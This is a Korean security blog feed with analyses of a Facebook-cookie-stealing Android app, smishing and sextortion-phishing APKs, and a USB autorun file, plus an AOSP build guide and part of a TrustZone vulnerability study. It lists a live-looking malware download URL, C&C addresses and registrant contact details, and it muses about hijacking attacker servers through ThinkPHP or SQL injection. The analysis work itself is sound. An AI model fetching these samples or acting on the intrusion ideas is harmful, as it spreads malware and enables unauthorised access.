NetKing Blog

Cyber Security RSS

NetKingJ — Sun, 26 Nov 2023 14:34:54 +0900

새로운 사이버 보안 뉴스 플랫폼, Cyber Security RSS!

· 최신 해킹, 피싱, 취약점 뉴스가 필요하신가요? Cyber Security RSS(이하. CSR)가 여러분을 위한 최적의 솔루션입니다!

✨ CSR만의 특별한 기능

· 광고 없는 깔끔한 환경: 광고와 개인정보 수집 없이 정보에 집중하세요.
· 실시간 뉴스 업데이트: 전세계의 사이버 보안 뉴스를 실시간으로 수집합니다.
· 효율적인 검색 기능: 원하는 키워드로 쉽게 원하는 정보를 찾아보세요.
· 사용자 친화적 인터페이스: 조회수 기반 정렬, 타임라인 필터, 테마 모드 선택 등 다양한 기능을 제공합니다.

검색하고, 발견하고, 알아가세요! CSR은 여러분이 사이버 보안의 최신 트렌드를 놓치지 않도록 도와줍니다.

https://csr.netking.kr/

Cyber Security RSS

국내외 정보보안 동향 검색 플랫폼

csr.netking.kr

[Android] Facebook 계정 탈취하는 악성코드 Photo Motion 어플 분석 보고서

NetKingJ — Mon, 20 Jun 2022 03:00:33 +0900

개요

Facebook 계정을 탈취하는 Android 악성코드 중 “Photo Motion” APK 분석을 진행했다.

분석 정보

분석 환경

OS	Windows 11 Pro
Tools	Android Studio AVD, DB Browser for SQLite
Device	Android 9 API 27 x86_64

분석 대상

No	A
File Name	28e0d555e4fa12a6cb222df4e6846a9a.apk
MD5	28e0d555e4fa12a6cb222df4e6846a9a
SHA-256	225fc4019e736fa7d320373a09bb6e9fd97571e8222d519aaa2477280e067d7e
File Type	Android APK
File Version	1.0.1
File Size	12,819,389 Bytes
Creation Time	2021-10-01 07:33:42 UTC
Tag

자동화 분석

A 파일 분석 결과

VirusTotal 분석 결과 Facestealer 악성코드와 유사도가 높음을 알 수 있다.

행위 분석

앱 실행 첫 화면

페이스북 로그인 요청 화면

앱 저장소

앱 데이터에서 추출한 쿠키 데이터베이스

앱을 실행하면 첫 화면에서 페이스북 로그인 안내 문구와 함께 로그인 시도를 요청한다.

여기서 로그인 버튼을 누르면 앱 저장소에 app_textures, app_webview가 생성된다. 이는 페이스북 로그인 시 쿠키 데이터가 저장된다.

정적 분석

페이스북 로그인 데이터들을 Bundle로 묶는다.

동적 분석

프록시 연결 시 강제 종료

C:\Users\NetKingJ\Desktop>adb logcat -b crash -v tag
E/AndroidRuntime: FATAL EXCEPTION: main
E/AndroidRuntime: Process: com.meicalhowell.motion.pixmotion, PID: 7423
E/AndroidRuntime: java.lang.RuntimeException: Unable to start activity ComponentInfo{com.meicalhowell.motion.pixmotion/com.meicalhowell.pixmotion.activities.MainActivity}: android.view.InflateException: Binary XML file line #90: Binary XML file line #90: Error inflating class ImageView
E/AndroidRuntime:       at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2913)
E/AndroidRuntime:       at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:3048)
E/AndroidRuntime:       at android.app.servertransaction.LaunchActivityItem.execute(LaunchActivityItem.java:78)
E/AndroidRuntime:       at android.app.servertransaction.TransactionExecutor.executeCallbacks(TransactionExecutor.java:108)
E/AndroidRuntime:       at android.app.servertransaction.TransactionExecutor.execute(TransactionExecutor.java:68)
E/AndroidRuntime:       at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1808)
E/AndroidRuntime:       at android.os.Handler.dispatchMessage(Handler.java:106)
E/AndroidRuntime:       at android.os.Looper.loop(Looper.java:193)
E/AndroidRuntime:       at android.app.ActivityThread.main(ActivityThread.java:6669)
E/AndroidRuntime:       at java.lang.reflect.Method.invoke(Native Method)
E/AndroidRuntime:       at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:493)
E/AndroidRuntime:       at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:858)
E/AndroidRuntime: Caused by: android.view.InflateException: Binary XML file line #90: Binary XML file line #90: Error inflating class ImageView
E/AndroidRuntime: Caused by: android.view.InflateException: Binary XML file line #90: Error inflating class ImageView
E/AndroidRuntime: Caused by: android.content.res.Resources$NotFoundException: Drawable (missing name) with resource ID #0x7f080181
E/AndroidRuntime: Caused by: android.content.res.Resources$NotFoundException: Unable to find resource ID #0x7f080181

BurpSuite로 프록시 연결해서 분석을 진행하려고 했으나 앱 자체 디버깅 제한이 걸려있는지 강제 종료가 된다.

결론

Android 악성코드 앱으로 로그인 세션을 탈취하는 대표적인 Joker, FlyTrap, Facestealer 등과 비슷한 유형으로 해당 앱도 페이스북 로그인 세션을 C&C 서버로 전달하는 악의 행위를 살펴볼 수 있다.

Reference

악성 앱 배포하기 위해 APKPure 스토어 조작돼

FlyTrap Android Malware Compromises Thousands of Facebook Accounts

How to configure Burp Suite proxy with an Android emulator?

[Phishing] 몸캠 피싱 어플 tonight.apk 분석 보고서

NetKingJ — Sat, 18 Jun 2022 01:56:11 +0900

개요

Tonight (이하. 투나잇)이라는 성인 사이트(http://www{.}tonight123{.}com)에서 몸캠 피싱 어플을 배포하여 사용자의 개인정보를 탈취하는 행위를 분석했다.

분석 정보

분석 환경

OS	Windows 11 Pro, Android API 28
Tools	jadx-gui

분석 대상

No	A
File Name	tonight.apk
MD5	424490bf9e7c8cc664bf21e5333db3bf
SHA-256	0020a89bc732adc79fcf165cdaddb9367d5e081badb3f818ebef180a24fb75c4
File Type	Android APK
File Version	2.0
Target SDK	31
Target Min SDK	19
File Size	3.02 MB (3164402 bytes)
Creation Time	2022-04-18 11:15:51 UTC
Tag

자동화 분석

VirusTotal 분석 결과 트로이목마로 다소 의심되는 점들이 많이 보인다.

이를 참고하여 분석을 진행했다.

행위 분석

현재 정상적으로 접속이 불가능하다.

정적 분석

APK 파일을 살펴보면, 중국 도메인 서버를 두고 있는 API 주소(116.204.169.213)를 찾을 수 있다.

해당 데이터는 안드로이드 단말기에 저장된 연락처, 이미지, 메세지, 통화기록을 가져와 API 서버로 전달되는 점을 알 수 있다.

LocalMessage

사용자의 데이터를 가져오는 소스 중 LocalMessage.java를 살펴보자.

먼저 사용된 패키지를 살펴보면, Serializable는 안드로이드 Activity에서 Object로 넘겨주는 역할과 litePal라는 SQLite 데이터베이스 프레임워크를 사용하고 있다.

다음으로 API 주소인 116.204.169.213에서 포트를 조사했다.

특이점은 open 상태인 서비스 중에 9001 포트가 APK 파일에서 발견된 API 서버에서도 같은 포트가 보였다.

동적 분석

해당 어플의 API 서버가 닫혀 있어 동적 분석은 불가능했다.

결론

한국인 타겟으로 제작된 성인 사이트에서 악성 어플을 배포하였다.

어플은 SMS, GPS 등뿐만 아니라 몸캠 피싱을 유도하는 행위가 포함되어 있다.

해당 데이터는 중국 API 서버인 116.204.169.213으로 전달되는 점을 알 수 있다.

여담으로 ThinkPHP 취약점을 공략한다면 서버 탈취도 가능해 보인다.

[Phishing] 우체국 사칭 어플 epost.apk 분석 보고서

NetKingJ — Sat, 18 Jun 2022 01:46:12 +0900

개요

SMS로 전달받은 의심되는 URL에서 악의 여부가 있는지 분석을 진행했다.

MD5 : d56421fe4ef375c8c1c1a1d3cb95c840

분석 정보

분석 환경

OS	`Windows 11 Pro`
Tools	`Advanced Port Scanner` `Nmap`
Device	`Android AVD API 28 x86_64`

분석 대상

No	A
Telephone	+82 10-3084-2072
Domain	http://hibmd.reagz.com
IP	27.124.36.32
Registrant_Name	yinf ang
Registrant_Country	CHINA
Registrant_Email	780475173@qq.com
Registrant_Telephone	8602825365241
Tag	Web Server

No	B
File Name	epost.apk
MD5	2896de9336343a0ee05f0e15095b73a4
SHA-256	c4fb68bd0142d0ebdfb23c2a3fa34f8bcc10d29305f366a79c55d54e38c89e8b
File Type	Android APK
File Version	473
File Size	379,941 Bytes
Tag	Android APK

자동화 분석

분석 대상 : A
결과에는 별다른 악의 요소가 없지만, 도메인이 미국으로 보여지고 있다.
그러나 동일한 2차 도메인에서 수 많은 알 수 없는 문자열로 만들어진 3차 도메인이 존재한다.
WHOIS History 도메인을 검사한 결과 과거 생산한 국가를 살펴보면, 중국에서 제작된 것을 알 수 있다. (역시 미국 형님들이 아니였군 )
이러한 점들을 참고하여 다음 분석 단계로 넘어갔다.

분석 대상 : B
https://www.virustotal.com/gui/file/c4fb68bd0142d0ebdfb23c2a3fa34f8bcc10d29305f366a79c55d54e38c89e8b/details

행위 분석

단순하게 해당 URL에 접속하면 접근이 불가능하다.

이러한 이유는 공격자가 원하는 타겟에 맞춰 특정한 조건에 맞춰 Trigger 되도록 접속 가능하게 만들어진 가능성이 높다. 예를 들면, 접속하는 단말기의 헤더에 모바일인지 혹은 IP에 따라 어느 국가인지 미리 구분할 수 있기 때문이다.

행위 분석

27.124.36.32 nmap 스캔 결과

nmap을 통해 open 된 포트가 무엇이 있는지 살펴봤다. 포트는 1부터 65535까지 진행한다.

PORT (TCP)	STATE	SERVICE	비고
80	open	http
135	filtered	msrpc
139	filtered	netbios-ssn
179	filtered	bgp
443	open	https
445	filtered	microsoft-ds
593	filtered	http-rpc-epmap
1434	filtered	ms-sql-m
1900	filtered	upnp
2869	filtered	icslap
4444	filtered	krb524	(의심) Blaster 웜 바이러스
5357	open	wsdapi
5985	open	wsman
8100	open	xprint-server	리눅스 프린터
10081	open	famdc	epost 배포 관리 페이지
11211	filtered	memcache
23389	open	unknown
47001	open	winrm
52233	open	unknown
52234	open	unknown

8100 포트
눈에 띄는 서비스 중 Linux에서 사용하는 xprint-server라고 무선 프린터 서버가 8100 포트로 열려있었다.
해당 포트로 접속하니 매우 중국스러운 사이트가 보였다.
중국어를 번역해보니 역시나 프린터 로그가 담겨진 데이터임을 알 수 있다.
여담으로 2014년에 알려진 RCE 취약점으로 CVE-2014-9002PoC는 먹히지 않았다.

10081 포트
해당 포트에 접속하니 악성 앱인 epost.apk를 배포하는 모니터링 페이지로 보인다.
또한, 페이지 이름이 한국어 다운로드 이라는 점을 볼때 타겟은 대한민국이다.
- 페이지 별 특징
  - 查看404 (404 보기)
  - 查看.js (.js 보기)
  - 查看.apk (.apk 보기)
  - 查看未匹配的URL (일치하지 않는 URL 보기)
  - 查看未匹配的主机 (일치하지 않는 호스트 보기)
  - 查看账号 (계정 보기)
    해당 페이지는 탈취한 계정이 담겨진 테이블인 것 같다. 그러나 보이는 정보는 없었다.
    SQL 인젝션 취약점을 잘 공략하면 서버를 탈취하는 시나리오도 있을 것 같다.
- epost.apk 추출
  크롬과 같이 일반 웹 사이트에서는 APK 파일을 받아올 수 없지만, Android 단말기에서는 다운로드할 수 있다.
  http://hnlji.bxvae.com/epost.apk
  https://s3-us-west-2.amazonaws.com/secure.notion-static.com/c5feb4f7-f6f1-4015-82e2-c6d017bebe25/epost.zip
  이렇게 APK 파일을 받는 순간 모니터링 페이지에도 카운팅되는 점을 알 수 있다.
  다운 전
  다운 후
  카운터가 1씩 올라가야하는데 지금도 피해자가 계속 발생하고 있다.
  앱을 설치하기 위해 라이브러리 조건에 맞춰armeabi-v7a 호환되는 기종을 준비하였다.
  설치하는 과정에서 Play 프로텍트가 대응하고 있는 점이 다행이라 생각한다.
  분석을 위해 Play 프로텍트 기능을 차단하면 정상적으로 설치가 진행된다.
  이때 전화, 저장공간, SMS, 연락처 권한을 요구한다.
  Android 버전 호환이 맞지 않아 설치가 불가능하였다.
  이는 Android 매니페스트를 살펴보면, APK 호환되는 버전이 Android API 18부터 21까지이기 때문이다.
  Android API 18은 Android 5.0인 롤리팝인데 공격자는생각보다 폭넓은 호환성을 개발해두지 않았다.

결론

해당 SMS 문자는 우체국 앱을 사칭하는 피싱 SMS 이다.

도메인의 IP는 27.124.36.32 이며, 포트별로 수 많은 호스팅을 관리하고 있다.

서버는 요구하는 조건에 맞춰 Trigger 된다면 epost.apk 설치를 유도한다.

이때 APK는 Android 5까지 호환되기 때문에 당장은 대다수가 Android 9 이상 사용중임으로 피해 규모는 작을 것이라 예상한다.

Reference

https://mobsf.netking.xyz/static_analyzer/?name=epost.apk&checksum=2896de9336343a0ee05f0e15095b73a4&type=apk

https://www.virustotal.com/gui/file/c4fb68bd0142d0ebdfb23c2a3fa34f8bcc10d29305f366a79c55d54e38c89e8b/details

[Windows] 00 대학교 입학키트 USB "ECAP.EXE" 분석

NetKingJ — Tue, 5 Apr 2022 19:23:15 +0900

2022년 00 대학교 입학키드 USB

- 개요

2022년 00 대학교 입학키트 USB에 의심되는 숨긴 파일이 보관되어 있어 자동화 → 행위 → 정적 순으로 분석을 진행했다.

- 분석 정보

# 분석 환경

OS : Windows 7 64bit, Windows 10 Pro

Tools : IDA Pro, Exeinfo PE

# 분석 대상

A 파일 : AUTORUN.INF

└ SHA256 : 02ef33bcb1c0575968ef1fcb5b98cf7d3fc794200a5b3fd3920d6c77822d6d82

B 파일 : ECAP.EXE (의심)

└ SHA256 : 5727c8c5dede609c9f868948696d84cfb2d6e667fcdbd04cc858028335f2c370

└ 유형 : MS Windows용 PE32 실행 파일(GUI) Intel 80386

└ 버전 : 6.1.7601.17514

C 파일 : userinit.exe (정상) (Windows 7에서 추출)

└ SHA256 : 538fe1012fedc72727a8de0c2c01944b3d35c29812ecef88e95aac07235e0b0b

└ 유형 : MS Windows용 PE32 실행 파일(GUI) Intel 80386

└ 버전 : 6.1.7601.17514

B 파일은 정상 C 파일에서 감염

- 자동화 분석 (Virustotal)

분석을 시작하기 앞서, 간단하게 의심되는 B 파일와 정상 C 파일간 Virustotal을 통해 살펴보았다.

C 파일은 당연히 아무런 감지된 부분이 없지만, B 파일은 "W32.Virut"라고 윈도우 시스템 프로세스인 Winlogon.exe에 공격자가 임의 코드를 Injection 하는 행위를 통해 서버와 접촉하는 바이러스로 의심된다.

이러한 내용들은 참고삼아 행위 분석을 진행한다.

바이러스포탈 결과 B 파일 vs C 파일

- 행위 분석

A 파일은 아래와 같이 USB가 컴퓨터에 연결되면 특정 조건에 맞춰 자동으로 B 파일을 실행한다.

[autorun]
open=ECAP.EXE

Windows 7인 경우 B 파일이 실행하는 순간 Windows 라이브러리 창이 실행되지만, Windows 10에서는 정상적인 실행이 불가능하여 WER(Windows Error Report)가 생성된다.

Windows 7 환경에서 실행한 B 파일

Windows 10 환경에서 실행한 B 파일

즉, 특정 환경에서 조건을 맞춰야 Trigger 되는 실행파일임으로 Windows 7을 타겟으로 제작된 파일이다.

- 정적 분석

B 파일은 PE 형태로 별다른 패킹이 되어 있지 않고 C++로 만들어져 있다.

WinMain 함수에서 디컴파일된 코드를 살펴보면, 아래와 같이 Windows 사용자 로그온 관리자인 "userinit.exe" 프로그램과 비슷한 역할을 수행하고 있음을 짐작할 수 있다. 그러나 같은 용량인척 숨겨진 코드가 어디있을지 꼼꼼히 살펴보자. (문디자슥 으딨어?! )

디컴파일하여 B와 C 파일간 WinMain() 함수 비교

우선 아래와 같이 B와 C 파일에 같이 존재하는 함수들을 몇 가지 살펴봤다.

1) DisableScriptZoneSecurityCheck() 함수

해당 함수가 호출된다면, 모든 사용자 레지스트리의 SEE_MASK_NOZONECHECKS = 1로 환경 변수를 설정하는 코드로 파일을 실행했을 때 경고창이 뜨지 않게 한다.

DisableScriptZoneSecurityCheck 함수 호출

DisableScriptZoneSecurityCheck 함수

2) ExecApplication() 함수

관리자 작업을 위해 리눅스에서 su 명령어처럼 Windows에서는 Runas 명령어를 사용한다. 즉, 아래 runas 코드와 함께 explorar.exe 명령어가 포함되어 있다.

ExecApplication 함수 호출

ExecApplication 함수 내 runas 관련 코드

- 결론

PC에 USB 연결 후 A 파일에 의해서 B 파일이 실행되는데 이때 Windows 7 환경에서만 Windows 탐색기(explorer.exe) 실행한다. 또한, 아래와 같이 안랩에 분석 의뢰와 함께 종합적으로 분석한 결과는 악성코드가 아닌 것으로 판단된다.

안랩 문의 결과

[ Reference ]

- autorun파일 설정하기 : https://shpsuperman.tistory.com/11

- Win32/Virut.E.F : https://www.ahnlab.com/kr/site/securityinfo/asec/asecCodeView.do?virusSeq=35210&tabGubun=Print

- userinit.exe 란 무엇입니까? : https://ko.nex-software.com/what-is-userinit-exe

- [Threat Analysis] MBR 감염시키는 '공포의 부트킷' 등장 : https://www.ahnlab.com/kr/site/securityinfo/secunews/secuNewsView.do?seq=17907

Android AOSP Build

NetKingJ — Thu, 10 Feb 2022 16:59:12 +0900

안드로이드 AOSP 빌드를 보다 간략하고 쉽게 따라할 수 있도록 작성해보았습니다.

빨간색 글자는 반드시 따라 안하셔도 되며, 안드로이드 장비에 맞게 설정하시길 바랍니다.

권장 환경

OS : Ubuntu 18.04 이상 (낮은 버전은 python2 때문에 꼬임)

RAM : 16G 이상 (16G 이하는 빌드가 잘 안됩니다.)

용량 : 300G 이상

정신 : 튼튼한 삽질 멘탈

필수 설치

$ sudo apt-get update

$ sudo apt-get install git-core gnupg flex bison build-essential zip curl zlib1g-dev gcc-multilib g++-multilib libc6-dev-i386 libncurses5 lib32ncurses5-dev x11proto-core-dev libx11-dev lib32z1-dev libgl1-mesa-dev libxml2-utils xsltproc unzip fontconfig

소스 코드 다운로드

$ mkdir android

$ curl http://commondatastorage.googleapis.com/git-repo-downloads/repo > repo

$ chmod a+x repo

$ sudo mv repo /usr/bin

$ sudo ln -s /usr/bin/python3 /usr/bin/python

$ git config --global user.email "이메일(ex. admin@gmail.com)"
$ git config --global user.name "이름(ex. admin)"

$ repo init -u https://android.googlesource.com/platform/manifest

$ repo init -u https://android.googlesource.com/platform/manifest -b android-12.0.0_r27

( -b 옵션은 희망하는 빌드 번호에 맞게 repo 됩니다. )

( 단, 옵션 없을 시 최신 빌드로 받아집니다...만 엄청난 시간이 걸리므로 옵션 사용을 추천드립니다. )

( 참고 : https://source.android.com/setup/start/build-numbers#source-code-tags-and-builds )
$ repo sync -j 32

( j 뒤에 숫자는 CPU를 보고 맞춥니다. ex. repo sync -j2, repo sync -j4, repo sync -j8 등)

$ source build/envsetup.sh
$ lunch

Nexus 빌드 네임

( 자신이 빌드하고자 하는 장비에 맞게 선택해주시면 됩니다. )

( ex. Nexus 5X인 경우 "aosp_bullhead_userdebug"으로 29번 선택 )
$ make -j 32

이미지 주입

※ 생성된 이미지를 가져와 윈도우10에서 작업하였습니다.

※ 키 생성 과정이 생략되어 추후 작성하겠습니다.

- fastboot 모드 진입은 전원키+볼륨상+볼륨하를 꾸욱 눌려줍니다.

- 언락

$ fastboot oem unlock

- 빌드

$ set ANDROID_PRODUCT_OUT=이미지가 들어가있는 폴더

$ fastboot -w flashall

References

https://source.android.com/setup

Building and flashing a secured AOSP build with verified boot and separate lockscreen password for the Nexus 5X

안드로이드 포팅 1-2 AOSP 빌드하기

안드로이드 에뮬레이터 환경에서 OS 이미지 적용을 위한 안드로이드 OS 풀 소스 빌드 방법

안드로이드 스튜디오의 에뮬레이터 설치 및 사용 방법

안드로이드 보안 컨테이너 Kinibi 기반 TrustZone 취약점 분석

NetKingJ — Wed, 26 Jan 2022 12:18:40 +0900

1. 서론

오늘날 스마트폰은 현대인에 있어 필수적인 장비가 되었고 그만큼 개인정보와 같이 민감한 정보를 담고 있습니다. 현재 안드로이드 시스템은 주로 크로스 사이트 공격(Cross-site scripting, XSS), 권한 상승 공격(Privilege Escalation), 이미지 변조 및 악성 애플리케이션, 리플레이 공격, 통신 공격, NFC 공격, 서비스 거부 공격 등과 같은 보안 위험에 직면해오고 있어서 높은 보안 표준을 유지하는 것이 중요하다고 봅니다. 특히 안드로이드는 10억 개 이상의 단말기를 보유한 가장 일반적으로 사용되는 운영 체제이나 오픈 소스 특성과 사용의 유연성은 해커들의 많은 관심을 끌고 있습니다[4]. 그러나 공격 보호를 위해 현재 연구의 대부분은 애플리케이션 계층에 있습니다. 이러한 솔루션은 현재 모바일 단말기가 직면한 보안 문제를 근본적으로 해결할 수 없으며, 단말기는 여전히로부터 위협을 받을 수 있음으로 모바일 단말기의 시스템 계층에서 시작하여 안전하고 신뢰 시스템(Trusted System)을 구축할 필요가 있습니다[2].

안드로이드 시스템 계층의 보안 연구에는 SEAndroid, 하드웨어 기반 가상화 기술(Virtualization Technology) 및 ARM 기반 TrustZone 기술의 3가지 주요 방법이 있고 이러한 기술의 도입은 악성 애플리케이션이 시스템을 공격하는 것을 대부분 대응할 수 있었지만, Trusty TEE에 의존해야 하며 공격자의 직접적인 공격에는 방어할 수 없습니다. 본 연구는 안드로이드 시스템의 아키텍처를 이해하고 2019년부터 2021년까지 안드로이드 모바일 플랫폼에서 발생한 취약점 중 Kinibi 기반 TrustZone 취약점 사례들을 분석하여 취약점 도출 낸 방법과 패치한 코드를 비교하여 살펴봅니다.

2. 배경 지식

2.1. 안드로이드 시스템 아키텍처

Fig. 1. Android System Architecture

Fig. 1.와 같이 안드로이드 시스템 아키텍처의 주요 기능으로 자세한 설명은 아래와 같습니다.

ㆍ애플리케이션 프레임워크 : 애플리케이션 개발자가 가장 자주 사용하며, 하드웨어 개발자는 개발자 API를 알고 있어야 합니다. 이는 다수의 API가 기본적인 HAL 인터페이스에 직접 매핑되고 구현 드라이버에 관한 유용한 정보를 제공할 수 있기 때문입니다.

ㆍ바인더 IPC(프로세스 간 통신) 메커니즘 : 애플리케이션 프레임워크에서 경계를 교차 처리하고 Android 시스템 서비스 코드를 호출할 수 있게 해줍니다. 그러면 상위 수준의 프레임워크 API가 Android 시스템 서비스와 상호작용할 수 있고 애플리케이션 프레임워크 수준에서는 이 통신이 개발자로부터 숨겨지며 상황은 '단순하게 돌아가는' 것처럼 보입니다.

ㆍ시스템 서비스 : 창 관리자, 검색 서비스 또는 알림 관리자와 같은 집중된 형식의 모듈식 구성요소입니다. 애플리케이션 프레임워크 API에 의해 노출된 기능은 시스템 서비스와 통신하여 기본 하드웨어에 액세스하며, Android에는 시스템(창 관리자 및 알림 관리자 등)과 미디어(미디어 재생 및 녹음/녹화 관련 서비스), 이렇게 두 가지 서비스 그룹이 포함됩니다.

ㆍHAL : 하드웨어 공급업체에서 구현해야 하는 표준 인터페이스를 정의하며 Android에서 하위 수준의 드라이버 구현을 고려하지 않아도 되게 해주는 시스템입니다. HAL을 사용하면 상위 수준 시스템을 수정하거나 시스템에 영향을 주지 않고도 기능을 구현할 수 있고, HAL 구현은 모듈로 패키징되며 적절한 시점에 Android 시스템에 의해 로드됩니다.

ㆍ기기 드라이버 개발 : 일반적인 Linux 기기 개발과 유사하며, Android는 Linux 커널의 버전을 사용합니다. 여기에는 Low Memory Killer(메모리를 좀 더 적극적으로 보존하는 메모리 관리 시스템), wake lock(PowerManager 시스템 서비스), 바인더 IPC 드라이버 및 모바일 삽입 플랫폼에 중요한 기타 기능과 같은 몇 가지 특별한 추가 기능이 포함되어 있고 이러한 추가 기능은 주로 시스템 기능과 관련이 있으며 드라이버 개발에는 영향을 미치지 않습니다[3].

2.2. TrustZone 아키텍처

Fig. 2. TrustZone Architecture

Fig. 2.의 TrustZone 아키텍처에서 TEE는 보안 EL1 수준에서 실행됩니다. Trusty 애플리케이션을 그 위에 로드하고 보안 EL0 수준에서 실행할 수 있고, TrustZone을 사용하면 NS(Non-Secure Flag)로 메모리에 태그를 지정하여 Secure World 메모리를 Normal World에서 격리할 수 있습니다. Normal World에서 실행되는 코드는 NS로 태그가 지정된 메모리에만 액세스할 수 있습니다.

다음은 3가지 주요 제조사들의 TEE 명칭입니다[5].

ㆍQualcomm: QSEE/QTEE

ㆍHuawei: TrustedCore

ㆍTrustonic: Kinibi

2.3. Samsung TrustZone 아키텍처

Fig. 3. Samsung TrustZone Architecture

Samsung TrustZone 아키텍처는 Fig. 3.의 설명은 다음과 같습니다.

ㆍNormal World에서 Drivers, Daemons, Libraries 그리고 Interfaces는 Secure World와의 통신은 SMC 및 공유 메모리 버퍼를 통과합니다.

ㆍSecure Monitor : ARM Trusted 기반 오픈소스 펌웨어입니다. 모듈식 구현과 공급 업체로부터 요구 사항에 맞게 런타임 서비스를 사용자가 지정한 SMC 핸들러를 추가할 수 있고, 여기서 Samsung은 Kinibi에서 처리하는 SMC를 전달하기 위해 런타임 서비스를 사용합니다.

ㆍSecure World : Micro-Kernel 아키텍처 기반 중 Kinibi는 Trustonic에서 개발한 32bit OS이며, Mobicore 및 t-base라고 불립니다. MTK는 S-EL1에서 유일하게 실행할 수 있는 Micro-Kernel입니다. 여기서 syscalls(SVCs)이 제공되는데 메모리 매핑, 프로세스 생성, SMCs 등이 있으며, 사용 가능한 SVCs는 호출 프로세스의 권한에 따라 달라지고 내장 드라이버와 같은 다른 구성 요소에는 Run-Time Manager(RTM)을 로드합니다.

ㆍRTM는 리눅스의 init 프로세스와 동일한 Secure World를 신뢰 애플리케이션입니다. 주요 작업으로 프로세스 시작과 관리를 할 수 있고 Trustlet에 NWd의 수신되는 데이터를 알립니다. 또한, 프로세스 간 통신이 가능한 Mobicore Communication Interface(MCI)가 통신 채널로 구현되어 있습니다.

ㆍMCLIB는 Kinibi의 표준 라이브러리이며, 신뢰 애플리케이션, Secure 드라이버 및 RTM에 표준 기능을 제공합니다.

다음과 같이 2개의 API로 구분됩니다.

ㆍTIApi: 신뢰 애플리케이션에서 사용하는 함수 집합
ㆍDrApi: Secure Driver에서 사용하는 기능 집합

ㆍTrusted Applications는 일반 애플리케이션과 동등한 Secure World(S-EL0에서 실행)입니다..

ㆍSecure Drivers는 Trusted 애플리케이션의 특수한 유형으로 S-EL0에서 실행되지만, 소프트웨어 정의 권한이 더 높아 더 많은 API와 syscall에 액세스할 수 있습니다. IPC 및 공유 메모리를 통해 TA와 통신합니다.

2.4. Trusty 애플리케이션

Fig. 4. TA Memory mapping

Fig. 4.는 TA 메모리 매핑으로 Trusty 애플리케이션에서 임의 코드 실행의 과정으로 다음과 같습니다.

대부분 Trusty 애플리케이션과 드라이버는 서명된 바이너리이지만 암호화되어 있지 않는다면 쉽게 분석할 수 있다. Samsung 단말기에서 이러한 바이너리는 /vendor/app/mcRegistry 및 /system/app/mcRegistry 디렉터리에 저장됩니다.

Trusty 애플리케이션 및 드라이버 바이너리에서 사용되는 MCLF 형식입니다. 이 형식은 trustonic-tee-user-space에서 사용할 수 있는 헤더 파일에 문서화되어 있습니다. mclf-ida-loader는 IDA에서 이 형식을 로드하는 데 도움을 줄 수 있습니다.

TA가 로드되면 Kinibi에서 MCLF 헤더를 사용하여 TA 메모리 공간의 코드, 데이터 및 bss 영역을 매핑합니다. mcLib 라이브러리는 고정 주소(0x07d00000 - Galaxy S8, S9)에 매핑됩니다. 또한, 세션이 열리면 공유 버퍼(tci)도 MCLF 헤더에 지정된 버전에 따라 고정 주소(0x00100000, 0x00300000)에서 매핑됩니다.

REE의 TA Client는 새로운 공유 메모리 영역을 매핑할 수 있으며 이러한 영역은 0x00200000 + map_id*0x00100000입니다.

tci는 입력 및 출력 버퍼에 공유 메모리를 사용하며 처음 32비트는 명령 ID로 사용됩니다. 일반적으로 초기화는 진입점(암호화 초기화, 스택 쿠키 랜덤화 등)에서 수행된 다음 main 함수가 호출됩니다. main 함수는 공유 버퍼 크기를 확인한 다음 main Loop를 시작한다. TA는 tlApiWaitNotification API로 새 메시지를 기다리고 공유 버퍼의 내용을 처리합니다. 응답 데이터는 공유 버퍼에 기록되고 TA는 tlApinotify API로 REE에 알리고 새 메시지를 기다립니다.

3. 취약점 분석

3.1. SVE-2019-16665

해당 취약점은 Android 7.0버전인 Samsung Galaxy S7의 단말기에서 EL3에서 코드 실행이 가능하도록 Kinibi에서 임의 메모리를 매핑한 것입니다. 취약점을 도출하기 위해 Trustlet에서 사용하는 MCLF 형식의 Ghidra 로더, tlApi 함수의 이름을 자동으로 바꾸는 IDA Pro/Ghidra 로더, Trustlet과 통신하기 위한 Python 프레임워크, AFL 및 Unicorn 엔진에 기반한 에뮬레이터/Fuuzer, 기호 실행을 수행하는 Manticore 스크립트, S-Boot 바이너리 IDA Pro/Ghidra 로더로 도구 개발되었습니다.

Trusty 애플리케이션을 공격한 방법은 SEM Trustlet에서 Stack Buffer Overflow가 발생하여 memcpy 호출 전 Fig. 5.와 같이 레지스터가 설정됩니다.

ㆍR0 = SP+0x4F8-0xF0 (destination buffer)
ㆍR1 = tci_buffer + 0x8 (source buffer)
ㆍR2 = *(tci_buffer + 0x16808) (length of the buffer)

이를 통해서 S-EL0에서 코드 실행이 가능하여 보안 드라이버 통신과 syscalls(print characters, system information 등)을 할 수 있고, 그다음 MMAP의 보안 및 비보안 물리 메모리 매핑하기 위해 syscalls 작업으로 MMAP을 사용하여 Monitor의 0x2022000 주소에 SMC을 수정함으로써 S-EL3에서 임의 코드 실행이 가능합니다.

Fig. 5. Register Area

3.2. SVE-2019-15230

해당 취약점은 Normal World인 EL0의 User Mode에서 EL1(Kinibi)의 SVE/Sys/Abort Mode에 접근하는 것으로 먼저, Odin을 통해 Odin Mode initial 및 settings와 Flash PIT, Flag image의 opCode 값을 가져옵니다. 다음 Fig. 6.와 같이 Integer overflow 발생하는 원인으로 0x1e00000 보다 낮으면 0xC0000000을 사용하고 그렇지 않다면, 0xB0000000을 사용합니다. 참고로 Galaxy S8 이전 단말기는 0xC0000000이며, Galaxy S9 이후 단말기는 0x880000000의 버퍼를 복사합니다.

Fig. 6. Odin Flash Image

따라서 Fig. 7.와 같이 버퍼 뒤에 저장되는 데이터는 Secure Boot의 Code Segment로 크기 검증 코드가 없어 Buffer Overflow 취약점 인한 임의 데이터를 덮어쓸 수 있습니다. 취약점 패치는 Fig. 8.와 같이 데이터 패킷의 크기를 검증하는 코드가 추가되었습니다.

Fig. 7. Overflow the physical memory

Fig. 8. SVE-2019-15230 Patch

3.3. SVE-2019-15872

